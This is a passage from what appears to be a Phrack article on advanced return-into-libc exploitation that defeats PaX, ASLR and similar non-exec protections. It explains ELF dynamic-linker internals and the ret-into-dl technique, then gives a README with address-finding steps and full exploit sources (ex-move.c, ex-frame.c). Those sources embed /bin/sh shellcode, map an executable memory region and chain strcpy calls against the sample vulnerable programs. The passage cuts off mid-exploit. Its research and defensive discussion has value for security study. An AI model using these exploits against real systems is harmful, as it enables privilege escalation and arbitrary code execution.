some obvious weaknesses; some of them can (and should be) fixed: 1) In case of a local exploit the addresses the libraries and the stack are mmapped at can be obtained from the world-readable /proc/pid_of_attacked_process/maps pseudofile. If the data overflowing the buffer can be prepared and passed to the victim after the victim process has started, an attacker has all information required to construct the overflow data. For example, if the overflowing data comes from program arguments or environment, a local attacker loses; if the data comes from some I/O operation (socket, file read usually), the local attacker wins. Solution: restrict access to /proc files, just like it is done in many other security patches. 2) One can bruteforce the mmap base. Usually (see the end of 6.1) it is enough to guess the libc base. After a few tens of thousands tries, an attacker has a fair chance of guessing right. Sure, each failed attempt is logged, but even large amount of logs at 2 am prevent nothing Solution: deploy segvguard [8]. It is a daemon which is notified by the kernel each time a process crashes with SIGSEGV or similar. Segvguard is able to temporarily disable execution of programs (which prevents bruteforcing), and has a few interesting features more. It is worth to use it even without PaX. 3) The information on the library and stack addresses can leak due to format bugs. For example, in case of wuftpd vulnerability, one could explore the stack with the command site exec [eat stack]%x.%x.%x... The automatic variables' pointers buried in the stack will reveal the stack base. The dynamic linker and libc startup routines leave on the stack some pointers (and return addresses) to the library objects, so it is possible to deduce the libraries base as well. 4) Sometimes, one can find a suitable function in an attacked binary (which is not position-independent and can't be mmapped randomly). For example, "su" has a function (called after successful authentication) which acquires root privileges and executes a shell - nothing more is needed. 5) All library functions used by a vulnerable program can be called via their PLT entry. Just like the binary, PLT must be present at a fixed address. Vulnerable programs are usually large and call many functions, so there is some probability of finding interesting stuff in PLT. In fact only the last three problems cannot be fixed, and none of them is guaranteed to manifest in a manner allowing successful exploitation (the fourth is very rare). We certainly need more generic methods. In the following chapter I will describe the interface to the dynamic linker's dl-resolve() function. If it is passed appropriate arguments, one of them being an asciiz string holding a function name, it will determine the actual function address. This functionality is similar to dlsym() function. Using the dl-resolve() function, we are able to build a return-into-lib exploit, which will return into a function, whose address is not known at exploit's build time. [12] also describes a method of acquiring a function address by its name, but the presented technique is useless for our purposes. --[ 5 - The dynamic linker's dl-resolve() function This chapter is simplified as much as possible. For the detailed description, see [9] and glibc sources, especially the file dl-runtime.c. See also [12]. ----[ 5.1 - A few ELF data types The following definitions are taken from the include file elf.h: typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; The fields st_size, st_info and st_shndx are not used during symbol resolution. ----[ 5.2 - A few ELF data structures The ELF executable file contains a few data structures (arrays mainly) which are of some interest for us. The location of these structures can be retrieved from the executable's dynamic section. "objdump -x file" will display the contents of the dynamic section: $ objdump -x some_executable ... some other interesting stuff... Dynamic Section: ... STRTAB 0x80484f8 the location of string table (type char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*) .... JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel*) ... VERSYM 0x80486a4 the location of array of version table indices (type uint16_t*) "objdump -x" will also reveal the location of .plt section, 0x08048894 in the example below: 11 .plt 00000230 08048894 08048894 00000894 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE ----[ 5.3 - How dl-resolve() is called from PLT A typical PLT entry (when elf format is elf32-i386) looks this way: (gdb) disas some_func Dump of assembler code for function some_func: 0x804xxx4 <some_func>: jmp *some_func_dyn_reloc_entry 0x804xxxa <some_func+6>: push $reloc_offset 0x804xxxf <some_func+11>: jmp beginning_of_.plt_section PLT entries differ only by $reloc_offset value (and the value of some_func_dyn_reloc_entry, but the latter is not used for the symbol resolution algorithm). As we see, this piece of code pushes $reloc_offset onto the stack and jumps at the beginning of .plt section. After a few instructions, the control is passed to dl-resolve() function, reloc_offset being one of its arguments (the second one, of type struct link_map *, is irrelevant for us). The following is the simplified dl-resolve() algorithm: 1) calculate some_func's relocation entry Elf32_Rel * reloc = JMPREL + reloc_offset; 2) calculate some_func's symtab entry Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ]; 3) sanity check assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT); 4) late glibc 2.1.x (2.1.92 for sure) or newer, including 2.2.x, performs another check. if sym->st_other & 3 != 0, the symbol is presumed to have been resolved before, and the algorithm goes another way (and probably ends with SIGSEGV in our case). We must ensure that sym->st_other & 3 == 0. 5) if symbol versioning is enabled (usually is), determine the version table index uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; and find version information const struct r_found_version *version =&l->l_versions[ndx]; where l is the link_map parameter. The important part here is that ndx must be a legal value, preferably 0, which means "local symbol". 6) the function name (an asciiz string) is determined: name = STRTAB + sym->st_name; 7) The gathered information is sufficient to determine some_func's address. The results are cached in two variables of type Elf32_Addr, located at reloc->r_offset and sym->st_value. 8) The stack pointer is adjusted, some_func is called. Note: in case of glibc, this algorithm is performed by the fixup() function, called by dl-runtime-resolve(). ----[ 5.4 - The conclusion Suppose we overflow a stack buffer with the following payload -------------------------------------------------------------------------- | buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ... -------------------------------------------------------------------------- ^ | - this int32 should overwrite saved return address of a vulnerable function If we prepare appropriate sym and reloc variables (of type Elf32_Sym and Elf32_Rel, respectively), and calculate appropriate reloc_offset, the control will be passed to the function, whose name is found at STRTAB + sym->st_name (we control it of course). Arguments arg1, arg2 will be placed appropriately, and still we have opportunity to return into another function (ret_addr). The attached dl-resolve.c is a sample code which implements the described technique. Beware, you have to compile it twice (see the comments in the README.code). --[ 6 - Defeating PaX ----[ 6.1 - Requirements In order to use the "ret-into-dl" technique described in chapter 5, we need to position a few structures at appropriate locations. We will need a function, which is capable of moving bytes to a selected place. The obvious choice is strcpy; strncpy, sprintf or similar would do as well. So, just like in [3], we will require that there is a PLT entry for strcpy in an attacked program's image. "Ret-into-dl" solves a problem with randomly mmapped libraries; however, the problem of the stack remains. If the overflow payload resides on the stack, its address will be unknown, and we will be unable to insert 0s into it with strcpy (see 3.3). Unfortunately, I haven't come up with a generic solution (anyone?). Two methods are possible: 1) if scanf() function is available in PLT, we may try to execute something like scanf("%s\n",fixed_location) which will copy from stdin appropriate payload into fixed_location. When using "fake frames" technique, the stack frames can be disjoint, so we will be able to use fixed_location as frames. 2) if the attacked binary is compiled with -fomit-frame-pointer, we can chain multiple strcpy calls with the "esp lifting" method even if %esp is unknown (see the note at the end of 3.2). The nth strcpy would have the following arguments: strcpy(fixed_location+n, a_pointer_within_program_image) This way we can construct, byte by byte, appropriate frames at fixed_location. When it is done, we switch from "esp lifting" to "fake frames" with the trick described at the end of 3.3. More similar workarounds can be devised, but in fact they usually will not be needed. It is very likely that even a small program will copy some user-controlled data into a static or malloced variable, thus saving us the work described above. To sum up, we will require two (fairly probable) conditions to be met: 6.1.1) strcpy (or strncpy, sprintf or similar) is available via PLT 6.1.2) during normal course of execution, the attacked binary copies user-provided data into a static (preferably) or malloced variable. ----[ 6.2 - Building the exploit We will try to emulate the code in dl-resolve.c sample exploit. When a rwx memory area is prepared with mmap (we will call mmap with the help of ret-into-dl), we will strcpy the shellcode there and return into the copied shellcode. We discuss the case of the attacked binary having been compiled without -fomit-frame-pointer and the "frame faking" method. We need to make sure that three related structures are placed properly: 1) Elf32_Rel reloc 2) Elf32_Sym sym 3) unsigned short verind (which should be 0) How the addresses of verind and sym are related ? Let's assign to "real_index" the value of ELF32_R_SYM (reloc->r_info); then sym is at SYMTAB+real_index*sizeof(Elf32_Sym) verind is at VERSYM+real_index*sizeof(short) It looks natural to place verind at some place in .data or .bss section and nullify it with two strcpy calls. Unfortunately, in such case real_index tends to be rather large. As sizeof(Elf32_Sym)=16, which is larger than sizeof(short), sym would likely be assigned the address beyond a process' data space. That is why in dl-resolve.c sample program (though it is very small) we have to allocate a few tens of thousands (RQSIZE) of bytes. Well, we can arbitrarily enlarge a process' data space with setting MALLOC_TOP_PAD_ environ variable (remember traceroute exploit ?), but this would work only in case of a local exploit. Instead, we will choose more generic (and cheaper) method. We will place verind lower, usually within read-only mmapped region, so we need to find a null short there. The exploit will relocate "sym" structure into an address determined by verind location. Where to look for this null short ? First, we should determine (by consulting /proc/pid/maps just before the attacked program crashes) the bounds of the memory region which is mmapped writable (the executable's data area) when the overflow occurs. Say, these are the addresses within [low_addr,hi_addr]. We will copy "sym" structure there. A simple calculation tells us that real_index must be within [(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16], so we have to look for null short within [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. Having found a suitable verind, we have to check additionally that 1) sym's address won't intersect our fake frames 2) sym's address won't overwrite any internal linker data (like strcpy's GOT entry) 3) remember that the stack pointer will be moved to the static data area. There must be enough room for stack frames allocated by the dynamic linker procedures. So, its best (though not necessary) to place "sym" after our fake frames. An advice: it's better to look for a suitable null short with gdb, than analyzing "objdump -s" output. The latter does not display memory placed after .rodata section. The attached ex-pax.c file is a sample exploit against pax.c. The only difference between vuln.c and pax.c is that the latter copies another environment variable into a static buffer (so 6.1.2 is satisfied). --[ 7 - Misc ----[ 7.1 - Portability Because PaX is designed for Linux, throughout this document we focused on this OS. However, presented techniques are OS independent. Stack and frame pointers, C calling conventions, ELF specification - all these definitions are widely used. In particular, I have successfully run dl-resolve.c on Solaris i386 and FreeBSD. To be exact, mmap's fourth argument had to be adjusted (looks like MAP_ANON has different value on BSD systems). In case of these two OS, the dynamic linker do not feature symbol versions, so ret-into-dl is even easier to accomplish. ----[ 7.2 - Other types of vulnerabilities All presented techniques are based on stack buffer overflow. All return-into-something exploits rely on the fact that with a single overflow we can not only modify %eip, but also place function arguments (after the return address) at the stack top. Let's consider two other large classes of vulnerabilities: malloc control structures corruption and format string attacks. In case of the previous, we may at most count on overwriting an arbitrary int with an arbitrary value - it is too little to bypass PaX protection genericly. In case of the latter, we may usually alter arbitrary number of bytes. If we could overwrite saved %ebp and %eip of any function, we wouldn't need anything more; but because the stack base is randomized, there is no way to determine the address of any frame. *** (Digression: saved FP is a pointer which can be used as an argument to %hn. But the succesfull exploitation would require three function returns and preferably an appropriately located user-controlled 64KB buffer.) *** I hope that it is obvious that changing some GOT entry (that is, gaining control over %eip only) is not enough to evade PaX. However, there is an exploitable scenario that is likely to happen. Let's assume three conditions: 1) The attacked binary has been compiled with -fomit-frame-pointer 2) There is a function f1, which allocates a stack buffer whose content we control 3) There is a format bug (or a misused free()) in the function f2, which is called (possibly indirectly) by f1. The sample vulnerable code follows: void f2(char * buf) { printf(buf); // format bug here some_libc_function(); } void f1(char * user_controlled) { char buf[1024]; buf[0] = 0; strncat(buf, user_controlled, sizeof(buf)-1); f2(buf); } Suppose f1() is being called. With the help of a malicious format string we can alter some_libc_function's GOT entry so that it contains the address of the following piece of code: addl $imm, %esp ret that is, some epilogue of a function. In such case, when some_libc_function is called, the "addl $imm, %esp" instruction will alter %esp. If we choose an epilogue with a proper $imm, %esp will point within "buf" variable, whose content is user controlled. From this moment on, the situation looks just like in case of a stack buffer overflow. We can chain functions, use ret-into-dl etc. Another case: a stack buffer overflow by a single byte. Such overflow nullifies the least significant byte of a saved frame pointer. After the second function return, an attacker has a fair chance to gain full control over the stack, which enables him to use all the presented techniques. ----[ 7.3 - Other non-exec solutions I am aware of two other solutions, which make all data areas non-executable on Linux i386. The first one is RSX [10]. However, this solution does not implement stack nor libraries base randomization, so techniques described in chapter 3 are sufficient to chain multiple function calls. Some additional effort must be invested if we want to execute arbitrary code. On RSX, one is not allowed to execute code placed in a writable memory area, so the mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) trick does not work. But any non-exec scheme must allow to execute code from shared libraries. In RSX case, it is enough to mmap(...PROT_READ|PROT_EXEC) a file containing a shellcode. In case of a remote exploit, the function chaining allows us to even create such a file first. The second solution, kNoX [11], is very similar to RSX. Additionally, it mmaps all libraries at addresses starting at 0x00110000 (just like in the case of Solar's patch). As mentioned at the end of 3.4, this protection is insufficient as well. ----[ 7.4 - Improving existing non-exec schemes (Un)fortunately, I don't see a way to fix PaX so that it would be immune to the presented techniques. Clearly, ELF standard specifies too many features useful for attackers. Certainly, some of presented tricks can be stopped from working. For example, it is possible to patch the kernel so that it would not honor MAP_FIXED flag when PROT_EXEC is present. Observe this would not prevent shared libraries from working, while stopping the presented exploits. Yet, this fixes only one possible usage of function chaining. On the other hand, deploying PaX (especially when backed by segvguard) can make the successful exploitation much more difficult, in some cases even impossible. When (if) PaX becomes more stable, it will be wise to use it, simply as another layer of defense. ----[ 7.5 - The versions used I have tested the sample code with the following versions of patches: pax-linux-2.4.16.patch kNoX-2.2.20-pre6.tar.gz rsx.tar.gz for kernel 2.4.5 You may test the code on any vanilla 2.4.x kernel as well. Due to some optimisations, the code will not run on 2.2.x. --[ 8 - Referenced publications and projects [1] Aleph One the article in phrack 49 that everybody quotes [2] Solar Designer "Getting around non-executable stack (and fix)" http://www.securityfocus.com/archive/1/7480 [3] Rafal Wojtczuk "Defeating Solar Designer non-executable stack patch" http://www.securityfocus.com/archive/1/8470 [4] John McDonald "Defeating Solaris/SPARC Non-Executable Stack Protection" http://www.securityfocus.com/archive/1/12734 [5] Tim Newsham "non-exec stack" http://www.securityfocus.com/archive/1/58864 [6] Gerardo Richarte, "Re: Future of buffer overflows ?" http://www.securityfocus.com/archive/1/142683 [7] PaX team PaX http://pageexec.virtualave.net [8] segvguard ftp://ftp.pl.openwall.com/misc/segvguard/ [9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip [10] Paul Starzetz Runtime addressSpace Extender http://www.ihaquer.com/software/rsx/ [11] Wojciech Purczynski kNoX http://cliph.linux.pl/knox [12] grugq "Cheating the ELF" http://hcunix.7350.org/grugq/doc/subversiveld.pdf <++> phrack-nergal/README.code !35fb8b53 The advanced return-into-lib(c) exploits: PaX case study Comments on the sample exploit code by Nergal First, you have to prepare the sample vulnerable programs: $ gcc -o vuln.omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c $ gcc -o pax pax.c You may strip the binaries if you wish. I. ex-move.c ~~~~~~~~~~~~ At the top of ex-move.c, there are definitions for LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them. MMAP_START can be left untouched. 1) LIBC [nergal@behemoth pax]$ ldd ./vuln.omit libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 2) STRCPY [nergal@behemoth pax]$ objdump -T vuln.omit vuln.omit: file format elf32-i386 DYNAMIC SYMBOL TABLE: 08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048358 DF *UND* 0000010c GLIBC_2.0 getenv 08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 08048530 g DO .rodata 00000004 Base _IO_stdin_used 00000000 w D *UND* 00000000 __gmon_start__ 08048398 DF *UND* 00000030 GLIBC_2.0 strcpy ^ |---- this is the address we seek 3) MMAP [nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap 000daf10 w DF .text 0000003a GLIBC_2.0 mmap 000db050 w DF .text 000000a0 GLIBC_2.1 mmap64 The address we need is 000daf10, then. 4) POPSTACK We have to find "add $imm,%esp" followed by "ret". We must disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit". To simplify, we can use [nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret ...some crap -- 80484be: 83 c4 2c add $0x2c,%esp 80484c1: c3 ret -- 80484fe: 5d pop %ebp 80484ff: c3 ret -- ...more crap We have found the esp moving instructions at 0x80484be. 5) POPNUM This is the amount of bytes which are added to %esp in POPSTACK. In the previous example, it was 0x2c. 6) PLAIN_RET The address of a "ret" instruction. As we can see in the disassembler output, there is one at 0x80484c1. 7) FRAMES Now, the tough part. We have to find the %esp value just after the overflow (our overflow payload will be there). So, we will make vuln.omit dump core (alternatively, we could trace it with a debugger). Having adjusted all previous #defines, we run ex-move with a "testing" argument, which will put 0x5060708 into saved %eip. [nergal@behemoth pax]$ ./ex-move testing Segmentation fault (core dumped) <- all OK [nergal@behemoth pax]$ gdb ./vuln.omit core (no debugging symbols found)... Core was generated by ./vuln.omit'. Program terminated with signal 11, Segmentation fault. #0 0x5060708 in ?? () If in the %eip there is other value than 0x5060708, this means that we have to align our overflow payload. If necessary, "scratch" array in "struct ov" should be re-sized. (gdb) info regi ... esp 0xbffffde0 0xbffffde0 ... The last value we need is 0xbffffde0. II. ex-frame.c ~~~~~~~~~~~~~~ Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC, STRCPY, MMAP and FRAMES should be determined in exactly the same way like in case of ex-move.c. LEAVERET should be the address of a "leave; ret" sequence; we can find it with [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1 objdump: vuln: no symbols 8048335: c9 leave 8048336: c3 ret -- 80484bd: c9 leave 80484be: c3 ret -- 8048518: c9 leave 8048519: c3 ret So, we may use 0x80484bd for our purposes. III. dl-resolve.c ~~~~~~~~~~~~~~~~~ We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION defines. As they refer to dl-resolve binary itself, we have to compile it twice with the same compiler options. For the first compilation, we can #define dummy values. Then, we run [nergal@behemoth pax]$ objdump -x dl-resolve In the output, we see: [...crap...] Dynamic Section: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (!!!) SYMTAB 0x8048170 (!!!) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (!!!) REL 0x8048344 RELSZ 0x10 RELENT 0x8 VERNEED 0x8048314 VERNEEDNUM 0x1 VERSYM 0x80482f8 (!!!) The PLT_SECTION can also be retrieved from "objdump -x" output [...crap...] Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 ... 11 .plt 000000a0 080483cc 080483cc 000003cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE So, we should use 0x080483cc for our purposes. Having adjusted the defines, you should compile dl-resolve.c again. Then run it under strace. At the end, there should be something like: old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000 _exit(123) = ? As we see, mmap() is called, though it was not present in dl-resolve.c's PLT. Of course, I could have added the shellcode execution, but this would unnecessarily complicate this proof-of-concept code. IV. icebreaker.c ~~~~~~~~~~~~~~~~ Nine #defines have to be adjusted. Most of them have already been explained. Two remain: FRAMESINDATA and VIND. 1) FRAMESINDATA This is the location of a static (or malloced) variable where the fake frames are copied to. In case of pax.c, we need to find the address of "bigbuf" array. If the attacked binary was not stripped, it would be easy. Otherwise, we have to analyse the disassembler output. The "bigbuf" variable is present in the arguments to "strncat" function in pax.x, line 13: strncat(bigbuf, ptr, sizeof(bigbuf)-1); So we may do: [nergal@behemoth pax]$ objdump -T pax | grep strncat 0804836c DF *UND* 0000009e GLIBC_2.0 strncat [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c objdump: pax: no symbols 8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) 804836a: 00 00 add %al,(%eax) 804836c: ff 25 cc 95 04 08 jmp *0x80495cc -- 80484e5: 68 ff 03 00 00 push $0x3ff <- 1023 80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr 80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf 80484f2: e8 75 fe ff ff call 0x804836c So, the address of bigbuf is 0x8049ac0. 2) VIND As mentioned in the phrack article, we have to determine [lowaddr, hiaddr] bounds, then search for a null short int in the interval [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. [nergal@behemoth pax]$ gdb ./icebreaker (gdb) set args testing (gdb) r Starting program: /home/nergal/pax/./icebreaker testing Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x4ffb7d30 in ?? () <- icebreaker executed pax (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x5060708 in ?? () <- pax has segfaulted (gdb) shell [nergal@behemoth pax]$ ps ax | grep pax 1419 pts/0 T 0:00 pax [nergal@behemoth pax]$ cat /proc/1419/maps 08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax 08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax ^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr 4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4ffcd000-4ffce000 rw-p 00000000 00:00 0 4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 500f5000-500f9000 rw-p 00000000 00:00 0 bfff6000-bfff8000 rw-p fffff000 00:00 0 [nergal@behemoth pax]$ exit exit (gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8 0x804847b (gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8 0x804867b /* so, we search for a null short in [0x804847b, 0x804867b] (gdb) printf "0x%x\n", 0x804867b-0x804847b 0x200 (gdb) x/256hx 0x804847b ... a lot of beautiful 0000 in there... Now read the section 6.2 in the phrack article, or just try a few of the addresses found. <--> <++> phrack-nergal/vuln.c !a951b08a #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { char buf[16]; char * ptr = getenv("LNG"); if (ptr) strcpy(buf,ptr); } <--> <++> phrack-nergal/ex-move.c !81bb65d0 /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define POPSTACK 0x80484be #define PLAIN_RET 0x80484c1 #define POPNUM 0x2c #define FRAMES 0xbffffde0 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* This is a stack frame of a function which takes two arguments */ struct two_arg { unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; /* The beginning of our overflow payload. Consumes the buffer space and overwrites %eip */ struct ov { char scratch[28]; unsigned int eip; }; /* The second part ot the payload. Four functions will be called: strcpy, strcpy, mmap, strcpy */ struct ourbuf { struct two_arg zero1; char pad1[8 + POPNUM - sizeof(struct two_arg)]; struct two_arg zero2; char pad2[8 + POPNUM - sizeof(struct two_arg)]; struct mmap_args mymmap; char pad3[8 + POPNUM - sizeof(struct mmap_args)]; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) //#define PTR_TO_NULL 0x80484a7 main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708; } else { /* To make the code easier to read, we initially return into "ret". This will return into the address at the beginning of our "zero1" struct. */ theov.eip = PLAIN_RET; } memset(&thebuf, 'Y', sizeof(thebuf)); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; /* The following assignment puts into "param1" the address of the least significant byte of the "offset" field of "mmap_args" structure. This byte will be nullified by the strcpy call. */ thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = POPSTACK; /* Also the "start" field must be the multiple of page. We have to nullify its least significant byte with a strcpy call. */ thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; /* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such case, we would need more zeroing. */ thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* Same as above. Be careful not to include MAP_GROWS_DOWN */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; /* The final "strcpy" call will copy the shellcode into the freshly mmapped area at MMAP_START. Then, it will return not anymore into POPSTACK, but at MMAP_START+1. */ thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln.omit", "./vuln.omit", 0, env, 0); } <--> <++> phrack-nergal/pax.c !af6a33c4 #include <stdlib.h> #include <string.h> char spare[1024]; char bigbuf[1024]; int main(int argc, char ** argv) { char buf[16]; char * ptr=getenv("STR"); if (ptr) { bigbuf[0]=0; strncat(bigbuf, ptr, sizeof(bigbuf)-1); } ptr=getenv("LNG"); if (ptr) strcpy(buf, ptr); } <--> <++> phrack-nergal/ex-frame.c !a3f70c5e /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define LEAVERET 0x80484bd #define FRAMES 0xbffffe30 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* See the comments in ex-move.c */ struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; struct ourbuf { struct two_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMES; theov.eip = LEAVERET; } thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; 